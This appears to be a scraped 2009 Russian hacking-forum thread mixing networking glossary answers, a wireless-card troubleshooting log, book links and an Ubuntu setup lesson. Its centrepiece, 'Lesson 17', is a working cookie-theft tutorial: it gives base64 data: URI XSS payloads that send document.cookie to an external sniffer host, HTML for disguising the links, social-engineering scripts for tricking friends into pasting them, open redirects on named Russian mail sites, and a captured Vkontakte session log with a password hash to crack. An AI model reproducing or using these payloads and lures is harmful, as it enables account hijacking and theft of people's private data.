3).Стек протоколов TCP/IP (англ. Transmission Control Protocol/Internet Protocol) — собирательное название для сетевых протоколов разных уровней, используемых в
сетях. Слово «стек» (англ. stack, стопка) подразумевает, что протокол TCP работает поверх IP.В модели OSI данный стек занимает (реализует) все уровни и делится сам
на 4 уровня: прикладной, транспортный, межсетевой, уровень доступа к сети (в OSI это уровни — физический, канальный и частично сетевой). На стеке протоколов TCP/IP
построено всё взаимодействие пользователей в сети, от программной оболочки до канального уровня модели OSI. По сути это база, на которой завязано всё взаимодействие.
При этом стек является независимым от физической среды передачи данных.
http://ru.wikipedia.org/wiki/TCP/IP
4).FTP (англ. File Transfer Protocol — протокол передачи файлов) — протокол, предназначенный для передачи файлов в компьютерных сетях. FTP позволяет подключаться к
серверам FTP, просматривать содержимое каталогов и загружать файлы с сервера или на сервер; кроме того, возможен режим передачи файлов между серверами (см. FXP).
FTP является одним из старейших прикладных протоколов, появившимся задолго до HTTP, в 1971 году. До начала 90-х годов на долю FTP приходилось около половины трафика
в сети Интернет[источник?]. Он и сегодня широко используется для распространения ПО и доступа к удалённым хостам.Протокол FTP относится к протоколам прикладного
уровня и для передачи данных использует транспортный протокол TCP. Команды и данные, в отличие от большинства других протоколов передаются по разным портам. Порт 20
используется для передачи данных, порт 21 для передачи команд.Протокол не шифруется, при аутентификации передаёт логин и пароль открытым текстом. Если злоумышленник
находится в одном сегменте сети с пользователем FTP, то, используя сниффер, он может перехватить логин и пароль пользователя, или, при наличии специального ПО,
получать передаваемые по FTP файлы без авторизации. Чтобы предотвратить перехват трафика, необходимо использовать протокол шифрования данных SSL, который
поддерживается многими современными FTP-серверами и некоторыми FTP-клиентами.
http://ru.wikipedia.org/wiki/FTP
5).Telnet – один из старейших протоколов Internet. Telnet – сокращение от словосочетания telecommmunications network protocol, что означает «сетевой коммуникационный
протокол». Telnet позволяет пользователям присоединиться к удаленному компьютеру, находящемуся в сети, и работать с ним так, как будто бы работа происходит на
удаленном компьютере.
http://chtotakoe.info/articles/telnet_469.html
6).Прокси-сервер (от англ. proxy — «представитель, уполномоченный») — служба в компьютерных сетях, позволяющая клиентам выполнять косвенные запросы к другим сетевым
службам. Сначала клиент подключается к прокси-серверу и запрашивает какой-либо ресурс (например, e-mail), расположенный на другом сервере. Затем прокси-сервер либо
подключается к указанному серверу и получает ресурс у него, либо возвращает ресурс из собственного кеша (в случаях, если прокси имеет свой кеш). В некоторых случаях
запрос клиента или ответ сервера может быть изменён прокси-сервером в определённых целях. Также прокси-сервер позволяет защищать клиентский компьютер от некоторых
сетевых атак.
http://ru.wikipedia.org/wiki/Proxy_server
7).SOCKS — сетевой протокол, который позволяет клиент-серверным приложениям прозрачно использовать сервисы за межсетевыми экранами (фаерволлами). SOCKS — это
сокращение от «SOCKetS» (сокеты, гнёзда).Клиенты за межсетевым экраном, нуждающиеся в доступе к внешним серверам, вместо этого могут соединяться с SOCKS прокси
сервером. Такой прокси сервер контролирует права клиента для доступа к внешним ресурсам и передаёт запрос к серверу. SOCKS может использоваться и противоположным
способом, разрешая внешним клиентам соединяться с серверами за межсетевым экраном (брандмауэром).В отличие от HTTP прокси серверов, SOCKS передаёт все данные от
клиента, ничего не добавляя от себя, то есть с точки зрения конечного сервера, SOCKS прокси является обычным клиентом. SOCKS более универсален — не зависит от
конкретных протоколов уровня приложений (7-го уровня модели OSI) и базируется на стандарте TCP/IP - протоколе 4-го уровня. Зато HTTP прокси кэширует данные и может
более тщательно фильтровать содержимое передаваемых данных.Этот протокол был разработан Дэвидом Кобласом (David Koblas), системным администратором MIPS Computer
Systems. После того, как в 1992 году MIPS вошла в состав Silicon Graphics (SGI), Коблас сделал доклад о SOCKS на Симпозиуме по Безопасности Usenix (Usenix Security
Symposium), и SOCKS стал публично доступным. Протокол был расширен до четвёртой версии Ин-Да Ли (Ying-Da Lee) из NEC Systems Laboratory.
8).Оболочка операционной системы (от англ. shell — оболочка) — интерпретатор команд операционной системы (ОС), обеспечивающий интерфейс для взаимодействия
пользователя с функциями системы. В общем случае, различают оболочки с двумя типами интерфейса для взаимодействия с пользователем: интерфейс командной строки (CLI) и
графический пользовательский интерфейс (GUI)
http://ru.wikipedia.org/wiki/Shell_(командная_строка)
9).Сетевой порт — параметр протоколов TCP и UDP, определяющий назначение пакетов данных в формате IP, передаваемых на хост по сети.Это условное число от 1 до 65535,
позволяющие различным программам, выполняемым на одном хосте, получать данные независимо друг от друга (предоставляют так называемые сетевые сервисы). Каждая
программа обрабатывает данные, поступающие на определённый порт (иногда говорят, что программа «слушает» этот номер порта).Обычно за некоторыми распространёнными
сетевыми протоколами закреплены стандартные номера портов (например, веб-серверы обычно принимают данные по протоколу HTTP на TCP-порт 80), хотя в большинстве случаев
программа может использовать любой порт.
Порт 20 используется для передачи данных, порт 21 для передачи команд.
10).Оновное отличие троянов от вирусов заключается в следующем: вирусы самодостаточны а трояны должны связоватся сосвоим автором. таким образом если в борьбе с
вирусами есть только один способ - их вылавливать и уничтожать то для защиты от троянов можно перекрыть их возможность связи с автором.Ещё одно отличие - вирусы
встраиваются в нормальные программы после чего при запуске заражонной программы сначала выполняется код вируса а потом вирус выполняет настоящею программу. Трояны
же выполняются в виде отдельного файла.
http://books.google.com/books?id=_7y4-aRqpOkC&amp;pg=PA342&amp;lpg=PA342&amp;dq=Отличие между Тро%
8F%D0%BD+%D0%B8+%D0%92%D0%B8%D1%80%D1%83%D1%81&source=web&ots=MpAKwSEdDD&sig=cJROx3feclJEGMITJpFxjDvvwac&hl=ru&sa=X&oi=book_result&resnum=6&ct=result
11).DNS (англ. Domain Name System — система доменных имён) — распределённая система (распределённая база данных), способная по запросу, содержащему доменное имя хоста
(компьютера или другого сетевого устройства), сообщить IP адрес или (в зависимости от запроса) другую информацию. DNS работает в сетях TCP/IP. Как частный случай, DNS
может хранить и обрабатывать и обратные запросы, определения имени хоста по его IP адресу: IP адрес по определённому правилу преобразуется в доменное имя, и посылается
запрос на информацию типа "PTR".
http://ru.wikipedia.org/wiki/DNS
12).а вот на вопрос Тунэль , Тунэлирование (что это такое , где используется), и касательно порта 111 не нашол может подскажеж.
бальшое спасибо за тему! не знаю как поставить +,первый раз пользуюсь подобными вещами
Урок 17.

XSS II ВОССТАНИЕ САМОДОСТАТОЧНЫХ.

Сегодня я хочу рассказать вам о очень мало используемой уязвимости...
но при этом не менее опасной...эта уязвимость называется  самодостаточные XSS.
Называется эта уязвимость самодостаточной потому , что не требует наличия уязвимости на ресурсе...
Сразу сделаю примечание...эта уязвимость не работает в Internet Explorer 6 и 7ой версии...но это не проблемма в наши дни...так как ими пользуются всё меньше и меньше людей...
Более подробно об этой уязвимости вы можете прочитать здесь http://www.securitylab.ru/analytics/274302.php // Это чтобы не повторяться.

Всё что нужно , чтобы эта уязвимость заработала...так это чтобы человек(атакуемый) перешёл по ссылке(с того сайта с которого мы хотим стащить Cookies) вот такого вида....
[link=http://forum.xakep.ru/m_1224792/mpage_28/data:text/html;base64,PHNjcmlwdD4gYWxlcnQoIlhha2VwOTAwOV9SdWxseiIpOyA8L3NjcmlwdD4=]data:text/html;base64,PHNjcmlwdD5hbGVydCgnWGFrZXA5MDA5X1J1bGx6Jyk8L3NjcmlwdD4=[/link]
Конечно вы скажете , что никто не перейдёт по такой подозрительной ссылке...
Но ведь мы можем всегда спрятать её.....и вот несколько способов.
1)Прячем ссылку нашим любимым способом через тэг
<a href="Наша_подозрительная_ссылка">Халявные ICQ</a>
//На форумах это используется при помощи тэгов [link ] [/link] и -- алгоритм тот же...
2)Прячем ссылку в картинке!
<a href="Наша_ссылка"><IMG src="Любая_ссылка_на_картинку.jpg"></a>
На форумах это делается при помощи всё тех же тэгов [IMG src="image.jpg"]

Вот собственно пару примеров....как можно замаскировать наши "Ядовитые" ссылки....
Но! бывают и случаи когда вы хотите попасть на почту своей девушки....или знакомого друга....

В этих случаях прятать ссылку необязательно....главное применить СИ (социальная инженерия)....
Вот пример как я "ввожу в доверие" моих друзей\подруг\знакомых.
Пишу:
_____________________________________________________
Привет ...посмотри прикол....который я нашёл ....зайди на сайт (сайт с которого мне надо украсть куккисы, допустим mail.ru) и вставь в адресную строку (там где ты печатаешь ссылки) вот это :

javasсriрt:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=1024; y4=768; x5=1024; y5=768; DI=document.images; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0)
И нажми энтор.
______________________________________________________

Когда она\он вставляет в адресную строку и жмёт энтор этот код....она\он видит летающие картинки с этого сайта...что обычных юзеров приводит в восторг....и под этим чувством мы "впихиваем" ссылку с нашим вредным кодом.
Пример:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWGFrZXA5MDA5X1J1bGx6Jyk8L3NjcmlwdD4=

И когда жертва говорит, что у неё пустая страница...мы с удивлением говорим...
"Вот досада видимо у тебя браузер не поддерживает этого прикола...=("
А сами идём на сниффер....на котором у нас уже лежат Кукисы жертвы. 

Теперь я думаю тактика вам становиться понятна...
Ну а чтобы вы на практике поняли как она работает.....и как она опасна....(эта уязвимость)
Приведу примеры использования...на "скромных ресурсах РУ нета"

1)Угоняем на время mail.ru

И так...нам надо спрятать нашу длинную ссылку в письме....
Но нажав на расширенный формат---Добавить ссылку на сайт или страницу интернет и вставляя нашу ссылку...мы видим облом...ибо нам пишут ошибку "Неправильный формат ссылки"

Мы бы расстроились и пошли плакать...если бы мы небыли хакерами =)
Но так как мы хакеры...мы догадались.....раз у нас не получается добавить скрытую ссылку через "службы" сайта....то сделаем через наши "службы"...

А именно.....создаём html страничку вот с таким кодом.
____________________________________
<html>
<bоdу>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWGFrZXA5MDA5X1J1bGx6Jyk8L3NjcmlwdD4=">Ссылка!=)</a>
</bоdу>
</html>
____________________________________

Сохраняем и открываем в нашем браузере.....и видим нашу скрытую ссылку....вот в таком виде....
Ссылка!=) копируем этот текст....и вставляем в наше письмо.....как вы видите...к нам ни единых претензий не предъявили....
Вот мы и спрятали нашу длинную ссылку.....

Тоже самое можно проделать с картинкой...!!!а это гораздо эффективнее.....скопируйте этот html код , сохраните и откройте...потом поймёте почему эффективнее   
__________________________________________________________
<html>
<bоdу>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWGFrZXA5MDA5X1J1bGx6Jyk8L3NjcmlwdD4="><image src=http://www.ljplus.ru/img3/p/r/prosto_irishka/IMGP1599-.jpg></a>
</bоdу>
</html>
__________________________________________________________

2)Угоняем на время yandex.ru

Что касается Яндекса...
Ничего умнее чем редирект я не нашёл....
Редирект - это перенаправление с одного сайта на другой.....
и вот что у меня получилось....
http://mail.yandex.ru/r?url=data:text/h … NjcmlwdD4=

Но это не единственный способ....поищите другие....допустим с картинками...я не пробовал....уверен у вас получиться найти больше чем я нашёл =).

3)Угоняем на время Rambler.ru
Rambler на удивление оказался тоже стоикий....
Могу вам сказать...что сначала я искал редиректы.....собственно я нашёл один...
http://www.rambler.ru/click?from=mail&_URL=[наш_любой_сайт]
Вы можете использовать её для перенаправления жертвы на ваш фейк...о котором я писал ранее....
хотя это не единственный редирект...который я нашёл....
http://www.rambler.ru/click?from=mltopl … ш_сайт.ru/
Но эти редиректы ...не связанны с сайтом rambler.ru....вы это можете обнаружить из заголовка вылетающей ошибки....там где атака проходит удачно ...вылетает окно с титлом от сайта...чьи кукисы мы хотим получиьт...

После 10 мин копания я ничего не нашёл....и утешил себя...что даже опытные пользователи не смогли бы заметить наглый редирект на фейковскую страничку....

А теперь вы можете задать мне вопрос.....зачем нам дурацкая ошибка которая вылетает с твоим ником?
Всё просто....это как и в стандартном XSS мы сначало проверяли на наличие уязвимостей....а теперь можем переделать в настоящую ядовитую ссылку....и делается это просто....

На прошлих уроках я вас не просто так...познакомил с одним из видов шифрования под названием base64 .
А самодостаточные XSS и основаны на том , что закодированы в этот вид шифрования....чтобы вам стало яснее приведу пример.

Вот я писал.....
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWGFrZXA5MDA5X1J1bGx6Jyk8L3NjcmlwdD4=
где выдиленая часть это чистая кодировка base64 не верите....разкодируйте тут http://www.motobit.com/util/base64-decoder-encoder.asp
и вы получите <sсriрt>alert('Xakep9009_Rullz')</sсriрt>
Узнаёте стандартную XSS?

А теперь что мешает нам "впихнуть" вместо "Шуточного" кода "Ядовитый".
Допустим такой....
<sсriрt>img = new Image(); img.src = "http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</sсriрt>
Ничего...
Кодируем...в base64 и получаем на выходе:

data:text/html;base64,PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW1nLnNyYyA9ICJodHRwOi8vb2xkLmFudGljaGF0
LnJ1L2NnaS1iaW4vcy5qcGc/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ+

И дальше делаем всё по схеме =)

А теперь давайте представим , что мы хотим угнать контакт.

Да....именно тот который Vkontakte.ru

Делается это очень легко.....
Входим в доверие к нашей жертве....просим вставить в адресную строку

data:text/html;base64,PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW1nLnNyYyA9ICJodHRwOi8vb2xkLmFudGljaGF0LnJ1L2NnaS1iaW4vcy5qcGc/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ+

А сами в это время сидим и ждём на логе сниффера....
http://old.antichat.ru/sniff/log.php

Обновляем лог ...и видим что-то примерно такое....
[Wed Jan 14 23:33:31 2009] IP=81.158.225.252 SITE=
REFERER=
QUERY=remixlang=0; remixchk=5; remixclosed_tabs=0; remixautobookmark=6; remixgroup_closed_tabs=0; remixmid=2520472; remixemail=Xakep9009@Gmail.com; remixpass=cb570d109f5e4583f43f7a551e9e6db9; remixsid=e0b5e7a938255698a0afddcd64351293d527dfb1eca1d2f0c7d78c55
AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5

где значение remixemail Это логин (Xakep9009@gmail.com) , а remixpass наш пароль....зашифрованный в md5 .....который вы можете попытаться разшифровать... тут http://passcracking.com/index.php ну а remixid это номер идентификатор...контакта который вы ломанули....

Ну и даже если у вас не получилось ломануть вы всегда можете посидеть с этой странички....при помощи замены Cookies...про которую я тоже писал...в первом уроке про XSS.
Вывод
1)Мы узнали про очень забытую уязвимость...и которая от этого становится в тройне опасной.
2)Мы узнали, что даже если у нас есть недосигаемые сайты такие как Gmail или Vkontakte мы можем всегда обмануть систему.
3)Вспомнили про методы шифрования md5 и base64
4)Научились быть Самодостаточными и использовать это 
5)Узнали и научились обходить ограничения сайта подручными средствами (Пример с Ctrl+C и Ctrl+v в mail).
7)Еще раз убедились что СИ мощнейшее оружие Хакера(Пример с летающими картинками)
6)И наконец осознали , что XSS это мега уязвимость!

________________________________________________________________________________________________________________________

Думаю , что на этом достаточно....
Видео к этому Уроку....
Сразу скажу весит много.... 53МБ идёт 5 минут....
Поэтому кто сам во всём разобрался скачивать нету смысла...файл такой большой получится...потому как я сделал акцент на качество.....меня лично раздрожают фидео ролики кде кроме квадратов ничего не разглядишь....
Да и файл в формате wmv
http://webfile.ru/2564653

Надеюсь вы узнали что-то новое для себя или повторили старое.
Удачи!

< Сообщение отредактировано Xakep9009 -- 19.01.2009 0:19:14 >
bhychik@bhychik-laptop:~$ su
Password:
root@bhychik-laptop:/home/bhychik# sudo airmon-ng

Interface Chipset Driver

eth1 UNKNOWN wl

root@bhychik-laptop:/home/bhychik# sudo airmon-ng start eth1

Interface Chipset Driver

eth1 UNKNOWN wl (monitor mode enabled)

root@bhychik-laptop:/home/bhychik# sudo airodump-ng eth1
ioctl(SIOCSIWMODE) failed: Invalid argument

ARP linktype is set to 1 (Ethernet) - expected ARPHRD_IEEE80211,
ARPHRD_IEEE80211_FULL or ARPHRD_IEEE80211_PRISM instead. Make
sure RFMON is enabled: run 'airmon-ng start eth1 <#>'
Sysfs injection support was not found either.

Вот ещё логи
Iwconfig:

lo        no wireless extensions.

eth0      no wireless extensions.

eth1      IEEE 802.11bg  ESSID:""  Nickname:""
          Mode:Managed  Frequency:2.457 GHz  Access Point: Not-Associated   
          Bit Rate:54 Mb/s   Tx-Power:32 dBm   
          Retry min limit:7   RTS thr:off   Fragment thr:off
          Power Managementmode:All packets received
          Link Quality=5/5  Signal level=0 dBm  Noise level=0 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

eth2      no wireless extensions.

pan0      no wireless extensions.

Ispci лог:

00:00.0 Host bridge: Advanced Micro Devices [AMD] RS780 Host Bridge
00:01.0 PCI bridge: Advanced Micro Devices [AMD] RS780 PCI to PCI bridge (int gfx)
00:04.0 PCI bridge: Advanced Micro Devices [AMD] RS780 PCI to PCI bridge (PCIE port 0)
00:07.0 PCI bridge: Advanced Micro Devices [AMD] RS780 PCI to PCI bridge (PCIE port 3)
00:09.0 PCI bridge: Advanced Micro Devices [AMD] RS780 PCI to PCI bridge (PCIE port 4)
00:11.0 SATA controller: ATI Technologies Inc SB700/SB800 SATA Controller [IDE mode]
00:12.0 USB Controller: ATI Technologies Inc SB700/SB800 USB OHCI0 Controller
00:12.1 USB Controller: ATI Technologies Inc SB700 USB OHCI1 Controller
00:12.2 USB Controller: ATI Technologies Inc SB700/SB800 USB EHCI Controller
00:13.0 USB Controller: ATI Technologies Inc SB700/SB800 USB OHCI0 Controller
00:13.1 USB Controller: ATI Technologies Inc SB700 USB OHCI1 Controller
00:13.2 USB Controller: ATI Technologies Inc SB700/SB800 USB EHCI Controller
00:14.0 SMBus: ATI Technologies Inc SBx00 SMBus Controller (rev 3a)
00:14.2 Audio device: ATI Technologies Inc SBx00 Azalia (Intel HDA)
00:14.3 ISA bridge: ATI Technologies Inc SB700/SB800 LPC host controller
00:14.4 PCI bridge: ATI Technologies Inc SBx00 PCI to PCI Bridge
00:14.5 USB Controller: ATI Technologies Inc SB700/SB800 USB OHCI2 Controller
00:18.0 Host bridge: Advanced Micro Devices [AMD] Family 11h HyperTransport Configuration (rev 40)
00:18.1 Host bridge: Advanced Micro Devices [AMD] Family 11h Address Map
00:18.2 Host bridge: Advanced Micro Devices [AMD] Family 11h DRAM Controller
00:18.3 Host bridge: Advanced Micro Devices [AMD] Family 11h Miscellaneous Control
00:18.4 Host bridge: Advanced Micro Devices [AMD] Family 11h Link Control
01:05.0 VGA compatible controller: ATI Technologies Inc RS780M/RS780MN [Radeon HD 3200 Graphics]
02:00.0 Ethernet controller: Marvell Technology Group Ltd. Device 4357 (rev 10)
06:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g (rev 01)

lsusb лог

Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 002: ID 03f0:171d Hewlett-Packard Wireless (Bluetooth + WLAN) Interface [Integrated Module]
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 002 Device 003: ID 09da:000a A4 Tech Co., Ltd Port Mouse
Bus 002 Device 002: ID 07b2:5101 Motorola BCS, Inc. SurfBoard SB5101 Cable Modem
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 006 Device 002: ID 04f2:b083 Chicony Electronics Co., Ltd
Bus 006 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

Дорогие друзья!!!
Существует irc-канал, на котором вы можете задавать свои вопросы, обсуждать статьи, найти единомышленников и многое другое.
Приходите, мы ждём вас. Давайте договоримся когда основная масса народа будет собираться, ну не может чат пустовать.

Сервер: irc.rus-net.org
Канал: #9009
Кодировка:6667: KOI8-U 7771: CP1251 7775: Translit
Так как идёт разногласие в кодировках, то предлагаю выбрать (написано).

< Сообщение отредактировано free_kode -- 28.01.2009 20:34:27 >
Дорогие друзья!!!
Существует irc-канал, на котором вы можете задавать свои вопросы, обсуждать статьи, найти единомышленников и многое другое.
Приходите, мы ждём вас. Давайте договоримся когда основная масса народа будет собираться, ну не может чат пустовать.

Сервер: irc.rus-net.org
Канал: #9009
Кодировка: CP1251
Порт: 6669 (коннектимся к нему и кодировку менять не надо)
Смена кодировки происходит набором /quote codepage cp1251 вот этой команды (набирать команду в чате, когда вы зашли на канал)
Отдыхаю.
Нектороые IRC-клиенты не поддерживают данную кодировку, советую использовать mIRC

< Сообщение отредактировано free_kode -- 22.02.2009 17:29:59 >
Просмотрел всю тему и ужаснулся - в этой куче хлама нереально что-то найти, потратил полчаса, вдруг кому поможет ориентироваться

http://forum.xakep.ru/m_1224792/mpage_1/tm.htm - 1-3 уроки
http://forum.xakep.ru/m_1224792/mpage_2/tm.htm - 4-6 уроки
http://forum.xakep.ru/m_1224792/mpage_4/tm.htm - 7 урок
http://forum.xakep.ru/m_1224792/mpage_6/tm.htm - 8 урок
http://forum.xakep.ru/m_1224792/mpage_7/tm.htm - 9-10 уроки
http://forum.xakep.ru/m_1224792/mpage_11/tm.htm - 11 урок
http://forum.xakep.ru/m_1224792/mpage_13/tm.htm - 12 урок
http://forum.xakep.ru/m_1224792/mpage_16/tm.htm - 13 урок
http://forum.xakep.ru/m_1224792/mpage_20/key_/tm.htm - 14 урок
http://forum.xakep.ru/m_1224792/mpage_24/tm.htm - 15 урок
http://forum.xakep.ru/m_1224792/mpage_26/tm.htm - 16 урок
http://forum.xakep.ru/m_1224792/mpage_28/tm.htm - 17 урок

вот все уроки которые описаны в данной теме...
Доки по С/С++
1. "Справочник советов и примеров по C++ Builder"
Автор:Кононевич Станислав
Size:27 Кб
http://www.biblioteka.net.ru/data/download/cbuilder.chm

2. "Освой самостоятельно С++ за 21 день"
http://alelib.amillo.net/books/0/0/4/4/ … 1Days.djvu

3. Modern C++ Design
Автор:Andrei Alexandrescu
Size:1.2 Mb
http://anatolix.naumen.ru/files/books/moderncpp.zip

+Современное проектирование на C++
Автор:Андрей Александреску
Size:4.1 Mb
http://anatolix.naumen.ru/files/books/m … gn_rus.zip

4. C++ Standard Library, The: A Tutorial and Reference
Автор:Nicolai M. Josuttis
Size:3.5Mb
http://anatolix.naumen.ru/files/books/cppstdlib.zip

5. C++ Templates: The Complete Guide
By David Vandevoorde, Nicolai M. Josuttis
Size:0.7Mb
http://anatolix.naumen.ru/files/books/cpptemplates.zip

6. Effective STL
Автор:Scott Meyers
Size:1.2Mb
http://anatolix.naumen.ru/files/books/effstl.zip

7. International Standart ISO/IEC ISO/IEC 9899:1999 (E)
Programming languages — C
Size:1.1 Mb
http://anatolix.naumen.ru/files/books/iso9899.zip

8. Автор:Brian W. Kernighan, Dennis M. Ritchie
The C programming Language. Second Edition.
Size:170K
http://anatolix.naumen.ru/files/books/kr_eng.zip

Автор:Б. Керниган, Д. Ритчи
Язык программирования Си
Size:300K
http://anatolix.naumen.ru/files/books/kr_rus.zip

http://anatolix.naumen.ru/files/books/k … er_eng.zip

9. Автор:Stanley Lippman (Стенли Липпман)
Essential C++(Основы программирования на С++.)
Size:1.2 Mb
http://anatolix.naumen.ru/files/books/l … pp_eng.zip

10. Автор:Stanley Lippman,Josee Lajoie
C++ Primer
Size:2.6 Mb
http://anatolix.naumen.ru/files/books/l … er_eng.zip

+Автор:Стенли Липпман,Жози Лажойе
Язык программирования С++. Вводный курс
Size:0.8 Mb
http://anatolix.naumen.ru/files/books/l … er_rus.zip

11. Автор:Herb Sutter
Exceptional C++,
Size:0.3 Mb
http://anatolix.naumen.ru/files/books/e … al_cpp.zip
More Exceptional C++
Size:0.5 Mb
http://anatolix.naumen.ru/files/books/m … al_cpp.zip

12. Автор:Dov Bulka, David Mayhew
Efficient C++ Performance Programming Techniques
Size:1.5 Mb
http://anatolix.naumen.ru/files/books/efficient_cpp.zip

13. Правила программирования на C и C++
Автор:Allen I. Holub
[link=http://webcenter.ru/%7Ezwb/rope.htm]http://webcenter.ru/~zwb/rope.htm[/link]

14. Автор:Bjarne Stroustrup
The C++ Programming Language, Third Edition. Special Edition
Size:3.9 Mb
http://it-books.narod.ru/C_CPP/Stroustrup_eng.rar

Автор:Бьерн Страуструп
Язык программирования C++. 3-е издание. Специальное издание.
Size:2.9 Mb
http://anatolix.naumen.ru/files/books/s … oup_se.zip

15. Автор:Джефф Элджер
C++ Библиотека программиста
Size:1.8 Mb
http://it-books.narod.ru/C_CPP/CppForRe … rs_rus.rar

16. Автор:Scott Meyers
Effective C++, 2nd Edition: 50 Specific Ways to Improve Your Programs and
Designs
Size:4.1 Mb
http://it-books.narod.ru/C_CPP/effectiv … ivecpp.rar

17. Автор:Scott Meyers
More Effective C++: 35 More Ways to Improve Your Programs and Designs
Size:4.1 Mb
http://it-books.narod.ru/C_CPP/effectiv … ivecpp.rar

18. INTERNATIONAL STANDARD
Programming languages - C++ ISO/ANSI/EIC
Size:2.3 Mb
http://it-books.narod.ru/C_CPP/AnsiStandart_eng.rar
=======================================
Взято с HackZona.ru
З.Ы.
Если надо литературу по языках то в нашем воруме есть раздел
называется "Програмирование". А если там нет того что тебе нужно
то поисковиком пользуйся

Можно пропустить.
_______________________________________________________________
Всех с прошедшими праздниками!
Конечно я их провёл не так как бы хотелось(болел) но всётаки...
Не писал так долго потому как готовился к пересдаче английского....
что у меня так и не получилось =\
В этом уроке я расскажу как безболезненно пересесть с Windows XP - Vista
на Ubuntu при этом не просто пересесть, но еще установить хакерский набор
тулз на все случаи жизни...
_______________________________________________________________

Урок 18.

Linux

Первое с чего надо начать это что такое Linux и для чего он мне нужен?
Linux  - http://ru.wikipedia.org/wiki/Linux

А нужен Linux для нескольких важных целей....
1)Изучение структуры и работы Linux
2)Если вы будете ездить в европу с вашим ноутбуком там где установлена пиратская винда с вас могут взять огромный штраф и вплоть до срока
(С моего друга в Америке взяли штраф 400$ за то что его поймали в супермарките! с пиратской виндой)
3)Перед вами сразу откроется огромный прастор в плане хакерского ПО.
4)Большая часть сис админов уже сидит под такими видами ОС как Rad Hat, Mandriva , Ubuntu Server итд... так что игнорировать Linux мы больше не в состоянии....

Ubuntu 8.10

На момент написания этого урока 8.10 является самой новой версией Ubuntu....
скачать которую можно c официального сайта....
http://www.ubuntu.com/getubuntu/download
Весит эта ОС 700 МБ
  Преимущество заключается в том что эта операционная система предназначена для начинающих пользователей Linux , но это не значит , что ей пользуются только новички....она сама по себе очень удобна и легка в установке.
Что самое главное вы можете установить Ubuntu прямо под виндой! (открыв скачанный архив .iso ) а там должен лежать файл wubi.exe
  Открываете его.... после чего вы можете с лёгкостью установить Ubuntu (Разобраться как это сделать вы сможете)
//Лично я ставил Ubuntu как основную ось а на неё наложил уже Windows XP как это сделать будет описано ниже.
После того как вы успешно установили Ubuntu при перезагрузке компьютера у вас будет несколько вариантов
1)Ubuntu 8.10
2)Windows XP - Vista (ну или что там у вас )
Ну и выбираете вариант 1 загружаетесь под Ubuntu выбираете второй под XP...

_____________________________________________________________________________________________
Для тех кто выбрал Ubuntu как основную ось....после того как вы установили её у вас возникнет вопрос....как же быть с моим принтером или CS (контра)?
Решение есть.....
VirtualBox - это бесплатная программа которая позволяет создавать виртуальные машины в основной ОС
http://www.virtualbox.org/wiki/Linux_Downloads
//привыкайте что в Linux нет платных программ.....(платный аналог, но уже под Windows vmware workstation)
И так ....после того как вы скачали VirtualBox в формате .deb и открыв его менеджером архивов он вам предложит его установить...нажав кнопку install вас ждёт разочарование.....так как вам нужны права root которых у вас пока нету....
Приобретаем права root
Чтобы разблокировать и поставить пароль на учётную запись root вам нужно
System--Администрирование--Пользователи и группы--нажать на root и потом на кнопку unlock(после чего вас попросят ввести ваш пароль(от вашей учётной записи))
После того как ввели пароль....вы можете изменять настройки учётной записи root (нам нужно поставить пароль).
Нажимаем на root и потом Properties -- Password (вводите ваш пароль на учётную запись 2 раза)--OK
всё. теперь мы можем выполнять команды от пользователя root

Возвращаемся к установке ....жмём install нас просят пароль от root.... вводим....и выполняем установку.....после того как мы установили перезагружаем компьютер и видим во вкладке Applications--Системные
Sun xVM VirtualBox это и есть наша программа.....теперь надо сделать чтобы наш пользователь мог пользоваться этой программой....
System--Администрирование--Пользователи и группы--Unlock--Manage Groups -- (ищите vboxusers)--Propetis--и ставите галку над вашим пользователем и над root....теперь можно приступать....

VirtualBox
Открываем Sun xVM VirtualBox и попробуем установить Windows XP
Создать--Далее--Даёте любое имя(у меня Xwindows) тип ОС Mirosoft Windows версия Windows XP--Далее(размер основной памяти можете оставить как есть)--Создать(Динамически расширяемый образ диска)ставите сколько вам нужно места под винду...жмёте Далее--Готово

После чего в основном окне появится Xwindows--жмём Свойства--CD/DVD-ROM--Подключить CD/DVD(далее если вы устанавливаете Windows с диска то
Физический CD/DVD-привод , а если с образа (iso) то Файл ISO-образа (и выбираете путь где находится этот образ)--ОК
Далее жмёте старт....и устанавливаете по такой же схеме как обычно....

После того как вы установили Windows и загрузитесь.....(попробуйте вставить флешку).....}=) и увидите ,что эту флешку Винда не видит....выполните эти действия и у вас всё получится...
http://jedi-linux.blogspot.com/2008/03/ … albox.html тут всё подробно описано....

Второй очень нужный нам момент это взаимосвязь Ubuntu и Windows , а именно....общяя папка(разшаренная папка)(для того чтобы мы могли быстро перекидываться файлами...)
Делается это очень просто....
1)Когда мы находимся в Windows жмём Ctrl+Home и выходим с полноэкранного режима--Машина--Полноэкранный режим
После чего у вас появятся в верхнем поле такие поля Машина, Устройства, Справка.
